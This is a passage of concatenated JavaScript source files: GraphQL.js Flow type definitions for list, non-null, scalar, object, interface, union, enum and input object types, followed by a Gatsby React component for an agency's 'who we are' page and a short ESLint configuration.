`Expected ${inspect(type)} to be a GraphQL Non-Null type.`, ); return type; } /** * These types may be used as input types for arguments and directives. */ export type GraphQLInputType = | GraphQLScalarType | GraphQLEnumType | GraphQLInputObjectType | GraphQLList<GraphQLInputType> | GraphQLNonNull< | GraphQLScalarType | GraphQLEnumType | GraphQLInputObjectType | GraphQLList<GraphQLInputType>, >; export function isInputType(type: mixed): boolean %checks { return ( isScalarType(type) || isEnumType(type) || isInputObjectType(type) || (isWrappingType(type) && isInputType(type.ofType)) ); } export function assertInputType(type: mixed): GraphQLInputType { invariant( isInputType(type), `Expected ${inspect(type)} to be a GraphQL input type.`, ); return type; } /** * These types may be used as output types as the result of fields. */ export type GraphQLOutputType = | GraphQLScalarType | GraphQLObjectType | GraphQLInterfaceType | GraphQLUnionType | GraphQLEnumType | GraphQLList<GraphQLOutputType> | GraphQLNonNull< | GraphQLScalarType | GraphQLObjectType | GraphQLInterfaceType | GraphQLUnionType | GraphQLEnumType | GraphQLList<GraphQLOutputType>, >; export function isOutputType(type: mixed): boolean %checks { return ( isScalarType(type) || isObjectType(type) || isInterfaceType(type) || isUnionType(type) || isEnumType(type) || (isWrappingType(type) && isOutputType(type.ofType)) ); } export function assertOutputType(type: mixed): GraphQLOutputType { invariant( isOutputType(type), `Expected ${inspect(type)} to be a GraphQL output type.`, ); return type; } /** * These types may describe types which may be leaf values. */ export type GraphQLLeafType = GraphQLScalarType | GraphQLEnumType; export function isLeafType(type: mixed): boolean %checks { return isScalarType(type) || isEnumType(type); } export function assertLeafType(type: mixed): GraphQLLeafType { invariant( isLeafType(type), `Expected ${inspect(type)} to be a GraphQL leaf type.`, ); return type; } /** * These types may describe the parent context of a selection set. */ export type GraphQLCompositeType = | GraphQLObjectType | GraphQLInterfaceType | GraphQLUnionType; export function isCompositeType(type: mixed): boolean %checks { return isObjectType(type) || isInterfaceType(type) || isUnionType(type); } export function assertCompositeType(type: mixed): GraphQLCompositeType { invariant( isCompositeType(type), `Expected ${inspect(type)} to be a GraphQL composite type.`, ); return type; } /** * These types may describe the parent context of a selection set. */ export type GraphQLAbstractType = GraphQLInterfaceType | GraphQLUnionType; export function isAbstractType(type: mixed): boolean %checks { return isInterfaceType(type) || isUnionType(type); } export function assertAbstractType(type: mixed): GraphQLAbstractType { invariant( isAbstractType(type), `Expected ${inspect(type)} to be a GraphQL abstract type.`, ); return type; } /** * List Type Wrapper * * A list is a wrapping type which points to another type. * Lists are often created within the context of defining the fields of * an object type. * * Example: * * const PersonType = new GraphQLObjectType({ * name: 'Person', * fields: () => ({ * parents: { type: GraphQLList(PersonType) }, * children: { type: GraphQLList(PersonType) }, * }) * }) * */ declare class GraphQLList<+T: GraphQLType> { +ofType: T; static <T>(ofType: T): GraphQLList<T>; // Note: constructors cannot be used for covariant types. Drop the "new". constructor(ofType: GraphQLType): void; } // eslint-disable-next-line no-redeclare export function GraphQLList(ofType) { if (this instanceof GraphQLList) { this.ofType = assertType(ofType); } else { return new GraphQLList(ofType); } } // Need to cast through any to alter the prototype. (GraphQLList.prototype: any).toString = function toString() { return '[' + String(this.ofType) + ']'; }; defineToJSON(GraphQLList); /** * Non-Null Type Wrapper * * A non-null is a wrapping type which points to another type. * Non-null types enforce that their values are never null and can ensure * an error is raised if this ever occurs during a request. It is useful for * fields which you can make a strong guarantee on non-nullability, for example * usually the id field of a database row will never be null. * * Example: * * const RowType = new GraphQLObjectType({ * name: 'Row', * fields: () => ({ * id: { type: GraphQLNonNull(GraphQLString) }, * }) * }) * * Note: the enforcement of non-nullability occurs within the executor. */ declare class GraphQLNonNull<+T: GraphQLNullableType> { +ofType: T; static <T>(ofType: T): GraphQLNonNull<T>; // Note: constructors cannot be used for covariant types. Drop the "new". constructor(ofType: GraphQLType): void; } // eslint-disable-next-line no-redeclare export function GraphQLNonNull(ofType) { if (this instanceof GraphQLNonNull) { this.ofType = assertNullableType(ofType); } else { return new GraphQLNonNull(ofType); } } // Need to cast through any to alter the prototype. (GraphQLNonNull.prototype: any).toString = function toString() { return String(this.ofType) + '!'; }; defineToJSON(GraphQLNonNull); /** * These types wrap and modify other types */ export type GraphQLWrappingType = GraphQLList<any> | GraphQLNonNull<any>; export function isWrappingType(type: mixed): boolean %checks { return isListType(type) || isNonNullType(type); } export function assertWrappingType(type: mixed): GraphQLWrappingType { invariant( isWrappingType(type), `Expected ${inspect(type)} to be a GraphQL wrapping type.`, ); return type; } /** * These types can all accept null as a value. */ export type GraphQLNullableType = | GraphQLScalarType | GraphQLObjectType | GraphQLInterfaceType | GraphQLUnionType | GraphQLEnumType | GraphQLInputObjectType | GraphQLList<any>; export function isNullableType(type: mixed): boolean %checks { return isType(type) && !isNonNullType(type); } export function assertNullableType(type: mixed): GraphQLNullableType { invariant( isNullableType(type), `Expected ${inspect(type)} to be a GraphQL nullable type.`, ); return type; } /* eslint-disable no-redeclare */ declare function getNullableType(type: void | null): void; declare function getNullableType<T: GraphQLNullableType>(type: T): T; declare function getNullableType<T>(type: GraphQLNonNull<T>): T; export function getNullableType(type) { /* eslint-enable no-redeclare */ if (type) { return isNonNullType(type) ? type.ofType : type; } } /** * These named types do not include modifiers like List or NonNull. */ export type GraphQLNamedType = | GraphQLScalarType | GraphQLObjectType | GraphQLInterfaceType | GraphQLUnionType | GraphQLEnumType | GraphQLInputObjectType; export function isNamedType(type: mixed): boolean %checks { return ( isScalarType(type) || isObjectType(type) || isInterfaceType(type) || isUnionType(type) || isEnumType(type) || isInputObjectType(type) ); } export function assertNamedType(type: mixed): GraphQLNamedType { invariant( isNamedType(type), `Expected ${inspect(type)} to be a GraphQL named type.`, ); return type; } /* eslint-disable no-redeclare */ declare function getNamedType(type: void | null): void; declare function getNamedType(type: GraphQLType): GraphQLNamedType; export function getNamedType(type) { /* eslint-enable no-redeclare */ if (type) { let unwrappedType = type; while (isWrappingType(unwrappedType)) { unwrappedType = unwrappedType.ofType; } return unwrappedType; } } /** * Used while defining GraphQL types to allow for circular references in * otherwise immutable type definitions. */ export type Thunk<+T> = (() => T) | T; function resolveThunk<+T>(thunk: Thunk<T>): T { return typeof thunk === 'function' ? thunk() : thunk; } /** * Scalar Type Definition * * The leaf values of any request and input values to arguments are * Scalars (or Enums) and are defined with a name and a series of functions * used to parse input from ast or variables and to ensure validity. * * If a type's serialize function does not return a value (i.e. it returns * `undefined`) then an error will be raised and a `null` value will be returned * in the response. If the serialize function returns `null`, then no error will * be included in the response. * * Example: * * const OddType = new GraphQLScalarType({ * name: 'Odd', * serialize(value) { * if (value % 2 === 1) { * return value; * } * } * }); * */ export class GraphQLScalarType { name: string; description: ?string; serialize: GraphQLScalarSerializer<*>; parseValue: GraphQLScalarValueParser<*>; parseLiteral: GraphQLScalarLiteralParser<*>; astNode: ?ScalarTypeDefinitionNode; extensionASTNodes: ?$ReadOnlyArray<ScalarTypeExtensionNode>; constructor(config: GraphQLScalarTypeConfig<*, *>): void { this.name = config.name; this.description = config.description; this.serialize = config.serialize; this.parseValue = config.parseValue || (value => value); this.parseLiteral = config.parseLiteral || valueFromASTUntyped; this.astNode = config.astNode; this.extensionASTNodes = config.extensionASTNodes; invariant(typeof config.name === 'string', 'Must provide name.'); invariant( typeof config.serialize === 'function', `${this.name} must provide "serialize" function. If this custom Scalar ` + 'is also used as an input type, ensure "parseValue" and "parseLiteral" ' + 'functions are also provided.', ); if (config.parseValue || config.parseLiteral) { invariant( typeof config.parseValue === 'function' && typeof config.parseLiteral === 'function', `${this.name} must provide both "parseValue" and "parseLiteral" ` + 'functions.', ); } } toString(): string { return this.name; } } // Conditionally apply `[Symbol.toStringTag]` if `Symbol`s are supported defineToStringTag(GraphQLScalarType); defineToJSON(GraphQLScalarType); export type GraphQLScalarSerializer<TExternal> = (value: mixed) => ?TExternal; export type GraphQLScalarValueParser<TInternal> = (value: mixed) => ?TInternal; export type GraphQLScalarLiteralParser<TInternal> = ( valueNode: ValueNode, variables: ?ObjMap<mixed>, ) => ?TInternal; export type GraphQLScalarTypeConfig<TInternal, TExternal> = {| name: string, description?: ?string, // Serializes an internal value to include in a response. serialize: GraphQLScalarSerializer<TExternal>, // Parses an externally provided value to use as an input. parseValue?: GraphQLScalarValueParser<TInternal>, // Parses an externally provided literal value to use as an input. parseLiteral?: GraphQLScalarLiteralParser<TInternal>, astNode?: ?ScalarTypeDefinitionNode, extensionASTNodes?: ?$ReadOnlyArray<ScalarTypeExtensionNode>, |}; /** * Object Type Definition * * Almost all of the GraphQL types you define will be object types. Object types * have a name, but most importantly describe their fields. * * Example: * * const AddressType = new GraphQLObjectType({ * name: 'Address', * fields: { * street: { type: GraphQLString }, * number: { type: GraphQLInt }, * formatted: { * type: GraphQLString, * resolve(obj) { * return obj.number + ' ' + obj.street * } * } * } * }); * * When two types need to refer to each other, or a type needs to refer to * itself in a field, you can use a function expression (aka a closure or a * thunk) to supply the fields lazily. * * Example: * * const PersonType = new GraphQLObjectType({ * name: 'Person', * fields: () => ({ * name: { type: GraphQLString }, * bestFriend: { type: PersonType }, * }) * }); * */ export class GraphQLObjectType { name: string; description: ?string; astNode: ?ObjectTypeDefinitionNode; extensionASTNodes: ?$ReadOnlyArray<ObjectTypeExtensionNode>; isTypeOf: ?GraphQLIsTypeOfFn<*, *>; _fields: Thunk<GraphQLFieldMap<*, *>>; _interfaces: Thunk<Array<GraphQLInterfaceType>>; constructor(config: GraphQLObjectTypeConfig<*, *>): void { this.name = config.name; this.description = config.description; this.astNode = config.astNode; this.extensionASTNodes = config.extensionASTNodes; this.isTypeOf = config.isTypeOf; this._fields = defineFieldMap.bind(undefined, config); this._interfaces = defineInterfaces.bind(undefined, config); invariant(typeof config.name === 'string', 'Must provide name.'); invariant( config.isTypeOf == null || typeof config.isTypeOf === 'function', `${this.name} must provide "isTypeOf" as a function, ` + `but got: ${inspect(config.isTypeOf)}.`, ); } getFields(): GraphQLFieldMap<*, *> { if (typeof this._fields === 'function') { this._fields = this._fields(); } return this._fields; } getInterfaces(): Array<GraphQLInterfaceType> { if (typeof this._interfaces === 'function') { this._interfaces = this._interfaces(); } return this._interfaces; } toString(): string { return this.name; } } // Conditionally apply `[Symbol.toStringTag]` if `Symbol`s are supported defineToStringTag(GraphQLObjectType); defineToJSON(GraphQLObjectType); function defineInterfaces( config: GraphQLObjectTypeConfig<*, *>, ): Array<GraphQLInterfaceType> { const interfaces = resolveThunk(config.interfaces) || []; invariant( Array.isArray(interfaces), `${config.name} interfaces must be an Array or a function which returns ` + 'an Array.', ); return interfaces; } function defineFieldMap<TSource, TContext>( config: | GraphQLObjectTypeConfig<TSource, TContext> | GraphQLInterfaceTypeConfig<TSource, TContext>, ): GraphQLFieldMap<TSource, TContext> { const fieldMap = resolveThunk(config.fields) || {}; invariant( isPlainObj(fieldMap), `${config.name} fields must be an object with field names as keys or a ` + 'function which returns such an object.', ); const resultFieldMap = Object.create(null); for (const fieldName of Object.keys(fieldMap)) { const fieldConfig = fieldMap[fieldName]; invariant( isPlainObj(fieldConfig), `${config.name}.${fieldName} field config must be an object`, ); invariant( !fieldConfig.hasOwnProperty('isDeprecated'), `${config.name}.${fieldName} should provide "deprecationReason" ` + 'instead of "isDeprecated".', ); const field = { ...fieldConfig, isDeprecated: Boolean(fieldConfig.deprecationReason), name: fieldName, }; invariant( field.resolve == null || typeof field.resolve === 'function', `${config.name}.${fieldName} field resolver must be a function if ` + `provided, but got: ${inspect(field.resolve)}.`, ); const argsConfig = fieldConfig.args; if (!argsConfig) { field.args = []; } else { invariant( isPlainObj(argsConfig), `${config.name}.${fieldName} args must be an object with argument ` + 'names as keys.', ); field.args = Object.keys(argsConfig).map(argName => { const arg = argsConfig[argName]; return { name: argName, description: arg.description === undefined ? null : arg.description, type: arg.type, defaultValue: arg.defaultValue, astNode: arg.astNode, }; }); } resultFieldMap[fieldName] = field; } return resultFieldMap; } function isPlainObj(obj) { return obj && typeof obj === 'object' && !Array.isArray(obj); } export type GraphQLObjectTypeConfig<TSource, TContext> = {| name: string, interfaces?: Thunk<?Array<GraphQLInterfaceType>>, fields: Thunk<GraphQLFieldConfigMap<TSource, TContext>>, isTypeOf?: ?GraphQLIsTypeOfFn<TSource, TContext>, description?: ?string, astNode?: ?ObjectTypeDefinitionNode, extensionASTNodes?: ?$ReadOnlyArray<ObjectTypeExtensionNode>, |}; export type GraphQLTypeResolver<TSource, TContext> = ( value: TSource, context: TContext, info: GraphQLResolveInfo, ) => MaybePromise<?GraphQLObjectType | string>; export type GraphQLIsTypeOfFn<TSource, TContext> = ( source: TSource, context: TContext, info: GraphQLResolveInfo, ) => MaybePromise<boolean>; export type GraphQLFieldResolver< TSource, TContext, TArgs = { [argument: string]: any }, > = ( source: TSource, args: TArgs, context: TContext, info: GraphQLResolveInfo, ) => mixed; export type GraphQLResolveInfo = {| +fieldName: string, +fieldNodes: $ReadOnlyArray<FieldNode>, +returnType: GraphQLOutputType, +parentType: GraphQLObjectType, +path: ResponsePath, +schema: GraphQLSchema, +fragments: ObjMap<FragmentDefinitionNode>, +rootValue: mixed, +operation: OperationDefinitionNode, +variableValues: { [variable: string]: mixed }, |}; export type ResponsePath = {| +prev: ResponsePath | void, +key: string | number, |}; export type GraphQLFieldConfig< TSource, TContext, TArgs = { [argument: string]: any }, > = {| type: GraphQLOutputType, args?: GraphQLFieldConfigArgumentMap, resolve?: GraphQLFieldResolver<TSource, TContext, TArgs>, subscribe?: GraphQLFieldResolver<TSource, TContext, TArgs>, deprecationReason?: ?string, iamName?: ?string, description?: ?string, astNode?: ?FieldDefinitionNode, |}; export type GraphQLFieldConfigArgumentMap = ObjMap<GraphQLArgumentConfig>; export type GraphQLArgumentConfig = {| type: GraphQLInputType, defaultValue?: mixed, description?: ?string, astNode?: ?InputValueDefinitionNode, |}; export type GraphQLFieldConfigMap<TSource, TContext> = ObjMap< GraphQLFieldConfig<TSource, TContext>, >; export type GraphQLField< TSource, TContext, TArgs = { [argument: string]: any }, > = { name: string, description: ?string, type: GraphQLOutputType, args: Array<GraphQLArgument>, resolve?: GraphQLFieldResolver<TSource, TContext, TArgs>, subscribe?: GraphQLFieldResolver<TSource, TContext, TArgs>, isDeprecated?: boolean, deprecationReason?: ?string, iamName?: ?string, astNode?: ?FieldDefinitionNode, }; export type GraphQLArgument = { name: string, type: GraphQLInputType, defaultValue?: mixed, description?: ?string, astNode?: ?InputValueDefinitionNode, }; export type GraphQLFieldMap<TSource, TContext> = ObjMap< GraphQLField<TSource, TContext>, >; /** * Interface Type Definition * * When a field can return one of a heterogeneous set of types, a Interface type * is used to describe what types are possible, what fields are in common across * all types, as well as a function to determine which type is actually used * when the field is resolved. * * Example: * * const EntityType = new GraphQLInterfaceType({ * name: 'Entity', * fields: { * name: { type: GraphQLString } * } * }); * */ export class GraphQLInterfaceType { name: string; description: ?string; astNode: ?InterfaceTypeDefinitionNode; extensionASTNodes: ?$ReadOnlyArray<InterfaceTypeExtensionNode>; resolveType: ?GraphQLTypeResolver<*, *>; _fields: Thunk<GraphQLFieldMap<*, *>>; constructor(config: GraphQLInterfaceTypeConfig<*, *>): void { this.name = config.name; this.description = config.description; this.astNode = config.astNode; this.extensionASTNodes = config.extensionASTNodes; this.resolveType = config.resolveType; this._fields = defineFieldMap.bind(undefined, config); invariant(typeof config.name === 'string', 'Must provide name.'); invariant( config.resolveType == null || typeof config.resolveType === 'function', `${this.name} must provide "resolveType" as a function, ` + `but got: ${inspect(config.resolveType)}.`, ); } getFields(): GraphQLFieldMap<*, *> { if (typeof this._fields === 'function') { this._fields = this._fields(); } return this._fields; } toString(): string { return this.name; } } // Conditionally apply `[Symbol.toStringTag]` if `Symbol`s are supported defineToStringTag(GraphQLInterfaceType); defineToJSON(GraphQLInterfaceType); export type GraphQLInterfaceTypeConfig<TSource, TContext> = {| name: string, fields: Thunk<GraphQLFieldConfigMap<TSource, TContext>>, /** * Optionally provide a custom type resolver function. If one is not provided, * the default implementation will call `isTypeOf` on each implementing * Object type. */ resolveType?: ?GraphQLTypeResolver<TSource, TContext>, description?: ?string, astNode?: ?InterfaceTypeDefinitionNode, extensionASTNodes?: ?$ReadOnlyArray<InterfaceTypeExtensionNode>, |}; /** * Union Type Definition * * When a field can return one of a heterogeneous set of types, a Union type * is used to describe what types are possible as well as providing a function * to determine which type is actually used when the field is resolved. * * Example: * * const PetType = new GraphQLUnionType({ * name: 'Pet', * types: [ DogType, CatType ], * resolveType(value) { * if (value instanceof Dog) { * return DogType; * } * if (value instanceof Cat) { * return CatType; * } * } * }); * */ export class GraphQLUnionType { name: string; description: ?string; astNode: ?UnionTypeDefinitionNode; extensionASTNodes: ?$ReadOnlyArray<UnionTypeExtensionNode>; resolveType: ?GraphQLTypeResolver<*, *>; _types: Thunk<Array<GraphQLObjectType>>; constructor(config: GraphQLUnionTypeConfig<*, *>): void { this.name = config.name; this.description = config.description; this.astNode = config.astNode; this.extensionASTNodes = config.extensionASTNodes; this.resolveType = config.resolveType; this._types = defineTypes.bind(undefined, config); invariant(typeof config.name === 'string', 'Must provide name.'); invariant( config.resolveType == null || typeof config.resolveType === 'function', `${this.name} must provide "resolveType" as a function, ` + `but got: ${inspect(config.resolveType)}.`, ); } getTypes(): Array<GraphQLObjectType> { if (typeof this._types === 'function') { this._types = this._types(); } return this._types; } toString(): string { return this.name; } } // Conditionally apply `[Symbol.toStringTag]` if `Symbol`s are supported defineToStringTag(GraphQLUnionType); defineToJSON(GraphQLUnionType); function defineTypes( config: GraphQLUnionTypeConfig<*, *>, ): Array<GraphQLObjectType> { const types = resolveThunk(config.types) || []; invariant( Array.isArray(types), 'Must provide Array of types or a function which returns ' + `such an array for Union ${config.name}.`, ); return types; } export type GraphQLUnionTypeConfig<TSource, TContext> = {| name: string, types: Thunk<Array<GraphQLObjectType>>, /** * Optionally provide a custom type resolver function. If one is not provided, * the default implementation will call `isTypeOf` on each implementing * Object type. */ resolveType?: ?GraphQLTypeResolver<TSource, TContext>, description?: ?string, astNode?: ?UnionTypeDefinitionNode, extensionASTNodes?: ?$ReadOnlyArray<UnionTypeExtensionNode>, |}; /** * Enum Type Definition * * Some leaf values of requests and input values are Enums. GraphQL serializes * Enum values as strings, however internally Enums can be represented by any * kind of type, often integers. * * Example: * * const RGBType = new GraphQLEnumType({ * name: 'RGB', * values: { * RED: { value: 0 }, * GREEN: { value: 1 }, * BLUE: { value: 2 } * } * }); * * Note: If a value is not provided in a definition, the name of the enum value * will be used as its internal value. */ export class GraphQLEnumType /* <T> */ { name: string; description: ?string; astNode: ?EnumTypeDefinitionNode; extensionASTNodes: ?$ReadOnlyArray<EnumTypeExtensionNode>; _values: Array<GraphQLEnumValue /* <T> */>; _valueLookup: Map<any /* T */, GraphQLEnumValue>; _nameLookup: ObjMap<GraphQLEnumValue>; constructor(config: GraphQLEnumTypeConfig /* <T> */): void { this.name = config.name; this.description = config.description; this.astNode = config.astNode; this.extensionASTNodes = config.extensionASTNodes; this._values = defineEnumValues(this, config.values); this._valueLookup = new Map( this._values.map(enumValue => [enumValue.value, enumValue]), ); this._nameLookup = keyMap(this._values, value => value.name); invariant(typeof config.name === 'string', 'Must provide name.'); } getValues(): Array<GraphQLEnumValue /* <T> */> { return this._values; } getValue(name: string): ?GraphQLEnumValue { return this._nameLookup[name]; } serialize(value: mixed /* T */): ?string { const enumValue = this._valueLookup.get(value); if (enumValue) { return enumValue.name; } } parseValue(value: mixed): ?any /* T */ { if (typeof value === 'string') { const enumValue = this.getValue(value); if (enumValue) { return enumValue.value; } } } parseLiteral(valueNode: ValueNode, _variables: ?ObjMap<mixed>): ?any /* T */ { // Note: variables will be resolved to a value before calling this function. if (valueNode.kind === Kind.ENUM) { const enumValue = this.getValue(valueNode.value); if (enumValue) { return enumValue.value; } } } toString(): string { return this.name; } } // Conditionally apply `[Symbol.toStringTag]` if `Symbol`s are supported defineToStringTag(GraphQLEnumType); defineToJSON(GraphQLEnumType); function defineEnumValues( type: GraphQLEnumType, valueMap: GraphQLEnumValueConfigMap /* <T> */, ): Array<GraphQLEnumValue /* <T> */> { invariant( isPlainObj(valueMap), `${type.name} values must be an object with value names as keys.`, ); return Object.keys(valueMap).map(valueName => { const value = valueMap[valueName]; invariant( isPlainObj(value), `${type.name}.${valueName} must refer to an object with a "value" key ` + `representing an internal value but got: ${inspect(value)}.`, ); invariant( !value.hasOwnProperty('isDeprecated'), `${type.name}.${valueName} should provide "deprecationReason" instead ` + 'of "isDeprecated".', ); return { name: valueName, description: value.description, isDeprecated: Boolean(value.deprecationReason), deprecationReason: value.deprecationReason, astNode: value.astNode, value: value.hasOwnProperty('value') ? value.value : valueName, }; }); } export type GraphQLEnumTypeConfig /* <T> */ = {| name: string, values: GraphQLEnumValueConfigMap /* <T> */, description?: ?string, astNode?: ?EnumTypeDefinitionNode, extensionASTNodes?: ?$ReadOnlyArray<EnumTypeExtensionNode>, |}; export type GraphQLEnumValueConfigMap /* <T> */ = ObjMap< GraphQLEnumValueConfig /* <T> */, >; export type GraphQLEnumValueConfig /* <T> */ = {| value?: any /* T */, deprecationReason?: ?string, description?: ?string, astNode?: ?EnumValueDefinitionNode, |}; export type GraphQLEnumValue /* <T> */ = { name: string, description: ?string, isDeprecated?: boolean, deprecationReason: ?string, astNode?: ?EnumValueDefinitionNode, value: any /* T */, }; /** * Input Object Type Definition * * An input object defines a structured collection of fields which may be * supplied to a field argument. * * Using `NonNull` will ensure that a value must be provided by the query * * Example: * * const GeoPoint = new GraphQLInputObjectType({ * name: 'GeoPoint', * fields: { * lat: { type: GraphQLNonNull(GraphQLFloat) }, * lon: { type: GraphQLNonNull(GraphQLFloat) }, * alt: { type: GraphQLFloat, defaultValue: 0 }, * } * }); * */ export class GraphQLInputObjectType { name: string; description: ?string; astNode: ?InputObjectTypeDefinitionNode; extensionASTNodes: ?$ReadOnlyArray<InputObjectTypeExtensionNode>; _fields: Thunk<GraphQLInputFieldMap>; constructor(config: GraphQLInputObjectTypeConfig): void { this.name = config.name; this.description = config.description; this.astNode = config.astNode; this.extensionASTNodes = config.extensionASTNodes; this._fields = defineInputFieldMap.bind(undefined, config); invariant(typeof config.name === 'string', 'Must provide name.'); } getFields(): GraphQLInputFieldMap { if (typeof this._fields === 'function') { this._fields = this._fields(); } return this._fields; } toString(): string { return this.name; } } // Conditionally apply `[Symbol.toStringTag]` if `Symbol`s are supported defineToStringTag(GraphQLInputObjectType); defineToJSON(GraphQLInputObjectType); function defineInputFieldMap( config: GraphQLInputObjectTypeConfig, ): GraphQLInputFieldMap { const fieldMap = resolveThunk(config.fields) || {}; invariant( isPlainObj(fieldMap), `${config.name} fields must be an object with field names as keys or a ` + 'function which returns such an object.', ); const resultFieldMap = Object.create(null); for (const fieldName of Object.keys(fieldMap)) { const field = { ...fieldMap[fieldName], name: fieldName, }; invariant( !field.hasOwnProperty('resolve'), `${config.name}.${fieldName} field type has a resolve property, but ` + 'Input Types cannot define resolvers.', ); resultFieldMap[fieldName] = field; } return resultFieldMap; } export type GraphQLInputObjectTypeConfig = {| name: string, fields: Thunk<GraphQLInputFieldConfigMap>, description?: ?string, astNode?: ?InputObjectTypeDefinitionNode, extensionASTNodes?: ?$ReadOnlyArray<InputObjectTypeExtensionNode>, |}; export type GraphQLInputFieldConfig = {| type: GraphQLInputType, defaultValue?: mixed, description?: ?string, astNode?: ?InputValueDefinitionNode, |}; export type GraphQLInputFieldConfigMap = ObjMap<GraphQLInputFieldConfig>; export type GraphQLInputField = { name: string, type: GraphQLInputType, defaultValue?: mixed, description?: ?string, astNode?: ?InputValueDefinitionNode, }; export type GraphQLInputFieldMap = ObjMap<GraphQLInputField>;
import React, { useEffect } from "react" import Img from "gatsby-image" import agencyPageStyle from "./style.module.scss" import "../../reusable-styles/styles.scss" import AOS from "aos" import "aos/dist/aos.css" const AgencyPage = ({ agencyPageData }) => { useEffect(() => { AOS.init({ duration: 800, }) }) return ( <div className={agencyPageStyle.backgroundContainer}> <div className={agencyPageStyle.componentContainer}> <section className={agencyPageStyle.whoWeAreSection} data-aos="example-anim1" data-aos-once="true" data-aos-anchor-placement="top" > <div className={agencyPageStyle.lsdContainerAbsolute}> <figure className={agencyPageStyle.imageHolder}> <Img className={agencyPageStyle.imageSource} fluid={agencyPageData.backgroundImage.fluid} alt="Carbon Agency" /> </figure> </div> <div className={agencyPageStyle.whoWeAreContainer}> <div className={agencyPageStyle.whoWeAreCard}> <span className="decoratorContainer"> <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <h4 className={agencyPageStyle.title}> {agencyPageData.whoWeAre.title} </h4> <h2 className={agencyPageStyle.subtitle}> {agencyPageData.whoWeAre.subtitle1} </h2> <h2 className={`${agencyPageStyle.subtitle} ${agencyPageStyle.blue}`} > {agencyPageData.whoWeAre.subtitle2} </h2> <span className="decoratorContainer desktop"> <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <p className={agencyPageStyle.paragraph1}> {agencyPageData.whoWeAre.paragraph1} </p> <div className={agencyPageStyle.paragraph2}> <span>{agencyPageData.whoWeAre.paragraph2}</span> <span className={agencyPageStyle.winWinHolder}> <figure className={agencyPageStyle.imageHolder}> <img className={agencyPageStyle.imageSource} src={agencyPageData.whoWeAre.image2.file.url} alt="Carbon Agency" /> <img className={`${agencyPageStyle.imageSourrce} ${agencyPageStyle.circleAbsolute}`} src={agencyPageData.whoWeAre.image1.file.url} alt="Carbon Agency" /> </figure> </span> <span className={agencyPageStyle.paragraph}> {agencyPageData.whoWeAre.paragraph3} </span> </div> <p className={agencyPageStyle.paragraphWinWin}> {agencyPageData.whoWeAre.buttonText} </p> <span className="decoratorContainer"> <span className="lineDecorator black margin-50"></span> <span className="lineDecorator black "></span> </span> <span className="decoratorContainer desktop space-y-140"> <span className="lineDecorator black margin-50"></span> <span className="lineDecorator black "></span> </span> </div> </div> <div className={agencyPageStyle.winWinContainerAbsolute}> <figure className={agencyPageStyle.winWinSize}> <img className={agencyPageStyle.imageSource} src={agencyPageData.winWinGif.file.url} alt="Carbon Agency" /> </figure> </div> </section> <section className={agencyPageStyle.whatWeBelieveInSection} data-aos="example-anim1" data-aos-once="true" data-aos-anchor-placement="top" > <div className={agencyPageStyle.whatWeBelieveInCard}> <span className="decoratorContainer"> <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <h4 className={agencyPageStyle.title}> {agencyPageData.whatWeBelieveIn.listName} </h4> {agencyPageData.whatWeBelieveIn.items.map((item, index) => ( <p key={index} className={agencyPageStyle.word}> {item.text} </p> ))} </div> <div className={agencyPageStyle.enLoQueCreemosCard}> <span className="decoratorContainer"> <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <h4 className={agencyPageStyle.title}> {agencyPageData.enLoQueCreemos.listName} </h4> {agencyPageData.enLoQueCreemos.items.map((item, index) => ( <div key={index} className={agencyPageStyle.enLoQueCreemosItem}> <span className={ index === 0 ? "decoratorContainer desktop" : "decoratorContainer" } > <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <div className={agencyPageStyle.description}> <h5 className={agencyPageStyle.listTitle}>{item.title}</h5> <p className={agencyPageStyle.listParagraph}> {item.paragraph} </p> </div> </div> ))} </div> </section> <section className={agencyPageStyle.whatWeDoSection}> <div className={agencyPageStyle.whatWeDoCard} data-aos="example-anim1" data-aos-once="true" data-aos-anchor-placement="top" > <div className={agencyPageStyle.carbonIconBlackContainerAbsolute}> <figure className={agencyPageStyle.lsdSize}> <img className={agencyPageStyle.imageSource} src={agencyPageData.carbonIconBlack.file.url} alt="Carbon Agency" /> </figure> </div> <span className="decoratorContainer"> <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <h4 className={agencyPageStyle.title}> {agencyPageData.whatWeDo.title} </h4> <h2 className={agencyPageStyle.subtitle}> {agencyPageData.whatWeDo.paragraph} </h2> </div> </section> <section className={agencyPageStyle.servicesSection}> <div className={agencyPageStyle.servicesCard} data-aos="example-anim1" data-aos-once="true" data-aos-anchor-placement="top" > <span className="decoratorContainer"> <span className="lineDecorator black"></span> <span className="lineDecorator black mobile"></span> </span> <h4 className={agencyPageStyle.title}> {agencyPageData.services.listName} </h4> <div className={agencyPageStyle.servicesLists}> {agencyPageData.services.items.map((list, index) => ( <div key={index} className={agencyPageStyle.servicesColumn}> {list.items.map(item => ( <p key={item.text} className={agencyPageStyle.servicesList}> {item.text} </p> ))} </div> ))} </div> </div> </section> </div> <section className={agencyPageStyle.viewWorkSection}> <div className={agencyPageStyle.viewWorkContainer}> <a className={agencyPageStyle.linkContainer} href="/work"> <span className="decoratorContainer"> <span className="lineDecorator white"></span> </span> <div className={agencyPageStyle.textAndArrow}> <h2 className={agencyPageStyle.title}> {agencyPageData.viewWork} </h2> <div className={agencyPageStyle.nextArrow}> <figure className={agencyPageStyle.imageHolder}> <img className={agencyPageStyle.imageSource} src={agencyPageData.nextArrow.file.url} alt="Carbon Agency" /> </figure> </div> </div> <span className="decoratorContainer"> <span className="lineDecorator white"></span> </span> </a> </div> <div className={agencyPageStyle.viewWorkBackground}> <figure className={agencyPageStyle.imageHolder}> <Img className={agencyPageStyle.imageSource} fluid={agencyPageData.viewWorkImage.fluid} alt="Carbon Agency" /> </figure> </div> </section> </div> ) } export default AgencyPage
module.exports = { 'env': { 'browser': true, 'commonjs': true, 'mocha': true, 'es6': true }, 'extends': [ 'standard' ], 'globals': { 'Atomics': 'readonly', 'SharedArrayBuffer': 'readonly' }, 'parserOptions': { 'ecmaVersion': 2018 }, 'rules': { } }
